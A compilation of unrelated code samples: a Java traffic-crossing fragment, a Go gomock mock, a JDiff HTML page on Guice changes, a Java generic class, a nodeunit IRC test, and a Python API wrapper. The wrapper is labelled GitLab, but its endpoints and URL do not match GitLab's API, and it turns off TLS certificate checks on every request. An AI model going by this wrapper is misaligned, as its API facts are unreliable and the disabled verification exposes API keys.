			trafficManager.getPropertyManager().setCrossingProperty(CrossingProperty.RANDOM_CYCLE_LENGTH, crossing.getId(), period);
			crossing.changeLights();
		}
		trafficManager.getPropertyManager().setCrossingProperty(CrossingProperty.CURRENT_CYCLE_LENGTH, crossing.getId(), counter);
	}
}


text:
package mocks

import (
	gomock "github.com/golang/mock/gomock"
	reflect "reflect"
)

// MockMetadataGCEInterface is a mock of MetadataGCEInterface interface
type MockMetadataGCEInterface struct {
	ctrl     *gomock.Controller
	recorder *MockMetadataGCEInterfaceMockRecorder
}

// MockMetadataGCEInterfaceMockRecorder is the mock recorder for MockMetadataGCEInterface
type MockMetadataGCEInterfaceMockRecorder struct {
	mock *MockMetadataGCEInterface
}

// NewMockMetadataGCEInterface creates a new mock instance
func NewMockMetadataGCEInterface(ctrl *gomock.Controller) *MockMetadataGCEInterface {
	mock := &MockMetadataGCEInterface{ctrl: ctrl}
	mock.recorder = &MockMetadataGCEInterfaceMockRecorder{mock}
	return mock
}

// EXPECT returns an object that allows the caller to indicate expected use
func (m *MockMetadataGCEInterface) EXPECT() *MockMetadataGCEInterfaceMockRecorder {
	return m.recorder
}

// OnGCE mocks base method
func (m *MockMetadataGCEInterface) OnGCE() bool {
	m.ctrl.T.Helper()
	ret := m.ctrl.Call(m, "OnGCE")
	ret0, _ := ret[0].(bool)
	return ret0
}

// OnGCE indicates an expected call of OnGCE
func (mr *MockMetadataGCEInterfaceMockRecorder) OnGCE() *gomock.Call {
	mr.mock.ctrl.T.Helper()
	return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "OnGCE", reflect.TypeOf((*MockMetadataGCEInterface)(nil).OnGCE))
}

// ProjectID mocks base method
func (m *MockMetadataGCEInterface) ProjectID() (string, error) {
	m.ctrl.T.Helper()
	ret := m.ctrl.Call(m, "ProjectID")
	ret0, _ := ret[0].(string)
	ret1, _ := ret[1].(error)
	return ret0, ret1
}

// ProjectID indicates an expected call of ProjectID
func (mr *MockMetadataGCEInterfaceMockRecorder) ProjectID() *gomock.Call {
	mr.mock.ctrl.T.Helper()
	return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ProjectID", reflect.TypeOf((*MockMetadataGCEInterface)(nil).ProjectID))
}

// Zone mocks base method
func (m *MockMetadataGCEInterface) Zone() (string, error) {
	m.ctrl.T.Helper()
	ret := m.ctrl.Call(m, "Zone")
	ret0, _ := ret[0].(string)
	ret1, _ := ret[1].(error)
	return ret0, ret1
}

// Zone indicates an expected call of Zone
func (mr *MockMetadataGCEInterfaceMockRecorder) Zone() *gomock.Call {
	mr.mock.ctrl.T.Helper()
	return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Zone", reflect.TypeOf((*MockMetadataGCEInterface)(nil).Zone))
}


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd">

<meta name="generator" content="JDiff v1.1.1">

<meta name="description" content="JDiff is a Javadoc doclet which generates an HTML report of all the packages, classes, constructors, methods, and fields which have been removed, added or changed in any way, including their documentation, when two APIs are compared.">
<meta name="keywords" content="diff, jdiff, javadiff, java diff, java difference, API difference, difference between two APIs, API diff, Javadoc, doclet">
<TITLE>
com.google.inject.grapher.NameFactory
</TITLE>
<LINK REL="stylesheet" TYPE="text/css" HREF="../stylesheet-jdiff.css" TITLE="Style">

       <tt>4.0</tt>
       Overview
       Package
        Class
       Text Changes
       Statistics
       Help

  Generated by
JDiff

 PREV CLASS
 NEXT CLASS

  FRAMES
   NO FRAMES
   DETAIL:
CONSTRUCTORS |
METHODS |
FIELDS

Interface com.google.inject.grapher.<tt>NameFactory</tt>

  Changed Methods

  <A NAME="com.google.inject.grapher.NameFactory.getAnnotationName_changed(com.google.inject.Key<?>)">
  <nobr>String <A HREF="http://google-guice.googlecode.com/git/latest-api-diffs/4.0/javadoc/com/google/inject/grapher/NameFactory.html#getAnnotationName(com.google.inject.Key<?>)" target="_top"><tt>getAnnotationName</tt>(Key<?>)  </nobr>

Changed from non-abstract to abstract.

  <A NAME="com.google.inject.grapher.NameFactory.getClassName_changed(com.google.inject.Key<?>)">
  <nobr>String <A HREF="http://google-guice.googlecode.com/git/latest-api-diffs/4.0/javadoc/com/google/inject/grapher/NameFactory.html#getClassName(com.google.inject.Key<?>)" target="_top"><tt>getClassName</tt>(Key<?>)  </nobr>

Changed from non-abstract to abstract.

  <nobr>String <tt>getInstanceName</tt>(Object)  </nobr>

Changed from non-abstract to abstract.

  <nobr>String <tt>getMemberName</tt>(Member)  </nobr>

Changed from non-abstract to abstract.

  <nobr>String <tt>getSourceName</tt>(Object)  </nobr>

Changed from non-abstract to abstract.

       <tt>4.0</tt>
       Overview
       Package
        Class
       Text Changes
       Statistics
       Help

 PREV CLASS
 NEXT CLASS

  FRAMES
   NO FRAMES


text:
public class ChildClass<T> extends BaseClass<T> {

    private T v;

    public ChildClass(T base, T ch) {
        super(base);
        this.v = ch;
    }

    public T childMethod() {
        return v;
    }

    @Override
    public T overridedMethod() {
        return childMethod();
    }
}


text:
'use strict';

var grunt = require('grunt');
var gruntIrc = require('../tasks/lib/irc');
var sinon = require('sinon');

/*
  ======== A Handy Little Nodeunit Reference ========
  https://github.com/caolan/nodeunit

  Test methods:
    test.expect(numAssertions)
    test.done()
  Test assertions:
    test.ok(value, [message])
    test.equal(actual, expected, [message])
    test.notEqual(actual, expected, [message])
    test.deepEqual(actual, expected, [message])
    test.notDeepEqual(actual, expected, [message])
    test.strictEqual(actual, expected, [message])
    test.notStrictEqual(actual, expected, [message])
    test.throws(block, [error], [message])
    test.doesNotThrow(block, [error], [message])
    test.ifError(value)
*/

exports.irc = {
  setUp: function(done) {
    this.sandbox = sinon.sandbox.create();
    done();
  },
  tearDown: function(done) {
    this.sandbox = sinon.sandbox.restore();
    done();
  },
  ensure_bot_says_configured_msg_on_join_channel: function(test) {
    test.expect(2);

    var options = {
          text: 'Yay! Nous avons deployed :D',
          url : 'irc.unrulymedia.com',
          botName : 'nombot',
          channel: ['#cakeordeath' ]
    };

    gruntIrc.init(options);

    // stub out bot say and fake the join event
    var spy = sinon.spy();
    gruntIrc.bot.say = spy;
    gruntIrc.bot.emit('join');

    // call start - when not on train 3g :P
    // gruntIrc.start();

    // verify bot say call
    test.ok(spy.called, 'bot.say was not called');
    test.ok(spy.calledWithMatch(options.channel[0], options.text), 'bot.say was not called with the right args');

    test.done();
  }

};


text:
import requests
import time
import math

try:
    import simplejson as json
except ImportError:
    import json
from pprint import pprint

import base64

class GitlabAPI(object):
    """Basic wrapper for the Gitlab api. For further information on the API
    itself see: http://developer.gitlab.com/documentation/
    """

    def __init__(self, apikey, debug=False):
        self.debug = debug
        self.gitlab_url = "https://app.gitlab.com/api"
        self.api_version = "1.0"
        self.aurl = "/".join([self.gitlab_url, self.api_version])
        self.apikey = apikey
        self.bauth = self.get_basic_auth()

    def get_basic_auth(self):
        """Get basic auth creds
        :returns: the basic auth string
        """
        s = self.apikey + ":"
        return base64.b64encode(s.encode('utf-8')).rstrip()

    def _gitlab(self, api_target):
        """Peform a GET request

        :param <api_target:></api_target:> API URI path for request
        """
        target = "/".join([self.aurl, api_target])

        if self.debug:
            pprint("-> Calling: %s" % target)

        r = requests.get(target, auth=(self.apikey, ""), verify=False)

        if self._ok_status(r.status_code) and r.status_code is not 404:
            if r.headers['content-type'].split(';')[0] == 'application/json':
                return json.loads(r.text)['data']
            else:
                raise Exception('Did not receive json from api: %s' % str(r))
        else:
            if self.debug:
                pprint("-> Got: %s" % r.status_code)
                pprint("-> %s" % r.text)
            raise Exception('Received non 2xx or 404 status code on call')

    def _gitlab_post(self, api_target, data):
        """Peform a POST request

        :param api_target: API URI path for request
        :param data: POST payload
        """
        target = "/".join([self.aurl, api_target])
        if self.debug:
            pprint("-> Posting to: %s" % target)
            pprint("-> Post payload:")
            pprint(data)
        r = requests.post(target, auth=(self.apikey, ""), data=data, verify=False)
        if self._ok_status(r.status_code) and r.status_code is not 404:
            if r.headers['content-type'].split(';')[0] == 'application/json':
                return json.loads(r.text)['data']
            else:
                raise Exception('Did not receive json from api: %s' % str(r))
        else:
            if self.debug:
                pprint("-> Got: %s" % r.status_code)
                pprint("-> %s" % r.text)
            raise Exception("Gitlab API error: %s" % r.text)

    def _gitlab_put(self, api_target, data):
        """Peform a PUT request

        :param api_target: API URI path for request
        :param data: PUT payload
        """
        target = "/".join([self.aurl, api_target])
        if self.debug:
            pprint("-> PUTting to: %s" % target)
            pprint("-> PUT payload:")
            pprint(data)
        r = requests.put(target, auth=(self.apikey, ""), data=data, verify=False)
        if self._ok_status(r.status_code) and r.status_code is not 404:
            if r.headers['content-type'].split(';')[0] == 'application/json':
                return json.loads(r.text)['data']
            else:
                raise Exception('Did not receive json from api: %s' % str(r))
        else:
            if self.debug:
                pprint("-> Got: %s" % r.status_code)
                pprint("-> %s" % r.text)
            raise Exception("Gitlab API error: %s" % r.text)

    @classmethod
    def _ok_status(cls, status_code):
        """Check whether status_code is a ok status i.e. 2xx or 404"""

        if math.floor(status_code / 200) == 1:
            return True
        elif math.floor(status_code / 400) == 1:
            if status_code == 404:
                return True
            else:
                return False
        elif status_code == 500:
            return False

    def user_info(self, user_id="me"):
        """Obtain user info on yourself or other users.

        :param user_id: target user or self (default)
        """
        return self._gitlab('users/%s' % user_id)

    def list_users(self, workspace=None, filters=None):
        """List users

        :param workspace: list users in given workspace
        :param filters: Optional [] of filters you want to apply to listing
        """
        if workspace:
            return self._gitlab('workspaces/%s/users' % workspace)
        else:
            if filters:
                fkeys = [x.strip().lower() for x in filters]
                fields = ",".join(fkeys)
                return self._gitlab('users?opt_fields=%s' % fields)
            else:
                return self._gitlab('users')

    def list_tasks(self, workspace, assignee):
        """List tasks

        :param workspace: workspace id
        :param assignee: assignee
        """
        target = "tasks?workspace=%d&assignee=%s" % (workspace, assignee)
        return self._gitlab(target)

    def get_task(self, task_id):
        """Get a task

        :param task_id: id# of task"""
        return self._gitlab("tasks/%d" % task_id)

    def list_projects(self, workspace=None):
        """"List projects in a workspace

        :param workspace: workspace whos projects you want to list"""
        if workspace:
            return self._gitlab('workspaces/%d/projects' % workspace)
        else:
            return self._gitlab('projects/?opt_fields=workspace,name,archived')

    def get_project(self, project_id):
        """Get project

        :param project_id: id# of project
        """
        return self._gitlab('projects/%d/' % project_id)

    def get_project_tasks(self, project_id):
        """Get project tasks

        :param project_id: id# of project
        """

        return self._gitlab('projects/%d/tasks?opt_fields=completed,name' % project_id)

    def list_stories(self, task_id):
        """List stories for task

        :param task_id: id# of task
        """
        return self._gitlab('tasks/%d/stories' % task_id)

    def get_story(self, story_id):
        """Get story

        :param story_id: id# of story
        """
        return self._gitlab('stories/%d' % story_id)

    def list_workspaces(self):
        """List workspaces"""
        return self._gitlab('workspaces')

    def create_task(self, name, workspace, assignee=None, assignee_status=None,
                    completed=False, due_on=None, followers=None, notes=None):
        """Create a new task

        :param name: Name of task
        :param workspace: Workspace for task
        :param assignee: Optional assignee for task
        :param assignee_status: status
        :param completed: Whether this task is completed (defaults to False)
        :param due_on: Optional due date for task
        :param followers: Optional followers for task
        :param notes: Optional notes to add to task
        """
        payload = {'assignee': assignee or 'me', 'name': name,
                   'workspace': workspace}
        if assignee_status in ['inbox', 'later', 'today', 'upcoming']:
            payload['assignee_status'] = assignee_status
        if completed:
            payload['completed'] = 'true'
        if due_on:
            try:
                time.strptime(due_on, '%Y-%m-%d')
                payload['due_on'] = due_on
            except ValueError:
                raise Exception('Bad task due date: %s' % due_on)
        if followers:
            for pos, person in enumerate(followers):
                payload['followers[%d]' % pos] = person
        if notes:
            payload['notes'] = notes

        return self._gitlab_post('tasks', payload)

    def update_task(self, task, name=None, assignee=None, assignee_status=None,
                    completed=False, due_on=None, notes=None):
        """Update an existing task

        :param task: task to update
        :param name: Update task name
        :param assignee: Update assignee
        :param assignee_status: Update status
        :param completed: Update whether the task is completed
        :param due_on: Update due date
        :param notes: Update notes
        """
        payload = {}
        if name:
            payload['name'] = name
        if assignee:
            payload['assignee'] = assignee
        if assignee_status:
            payload['assignee_status'] = assignee_status
        if completed:
            payload['completed'] = completed
        if due_on:
            try:
                time.strptime(due_on, '%Y-%m-%d')
                payload['due_on'] = due_on
            except ValueError:
                raise Exception('Bad task due date: %s' % due_on)
        if notes:
            payload['notes'] = notes

        return self._gitlab_put('tasks/%s' % task, payload)

    def create_project(self, name, workspace, notes=None, archived=False):
        """Create a new project

        :param name: Name of project
        :param workspace: Workspace for task
        :param notes: Optional notes to add
        :param archived: Whether or not project is archived (defaults to False)
        """
        payload = {'name': name, 'workspace': workspace}
        if notes:
            payload['notes'] = notes
        if archived:
            payload['archived'] = 'true'
        return self._gitlab_post('projects', payload)

    def update_project(self, project_id, name=None, notes=None,
                       archived=False):
        """Update project

        :param project_id: id# of project
        :param name: Update name
        :param notes: Update notes
        :param archived: Update archive status
        """
        payload = {}
        if name:
            payload['name'] = name
        if notes:
            payload['notes'] = notes
        if archived:
            payload['archived'] = 'true'
        return self._gitlab_put('projects/%s' % project_id, payload)

    def update_workspace(self, workspace_id, name):
        """Update workspace

        :param workspace_id: id# of workspace
        :param name: Update name
        """
        payload = {'name': name}
        return self._gitlab_put('workspaces/%s' % workspace_id, payload)

    def add_project_task(self, task_id, project_id):
        """Add project task

        :param task_id: id# of task
        :param project_id: id# of project
        """
        return self._gitlab_post('tasks/%d/addProject' % task_id,
                                {'project': project_id})

    def rm_project_task(self, task_id, project_id):
        """Remove a project from task

        :param task_id: id# of task
        :param project_id: id# of project
        """
        return self._gitlab_post('tasks/%d/removeProject' % task_id,
                                {'project': project_id})

    def add_story(self, task_id, text):
        """Add a story to task

        :param task_id: id# of task
        :param text: story contents
        """
        return self._gitlab_post('tasks/%d/stories' % task_id, {'text': text})

    def add_tag_task(self, task_id, tag_id):
        """Tag a task

        :param task_id: id# of task
        :param tag_id: id# of tag to add
        """
        return self._gitlab_post('tasks/%d/addTag' % task_id, {'tag': tag_id})

    def get_tags(self, workspace):
        """Get available tags for workspace

        :param workspace: id# of workspace
        """
        return self._gitlab('workspaces/%d/tags' % workspace)

    def get_tag_tasks(self, tag_id):
        """Get tasks for a tag

        :param tag_id: id# of task
        """
        return self._gitlab('tags/%d/tasks' % tag_id)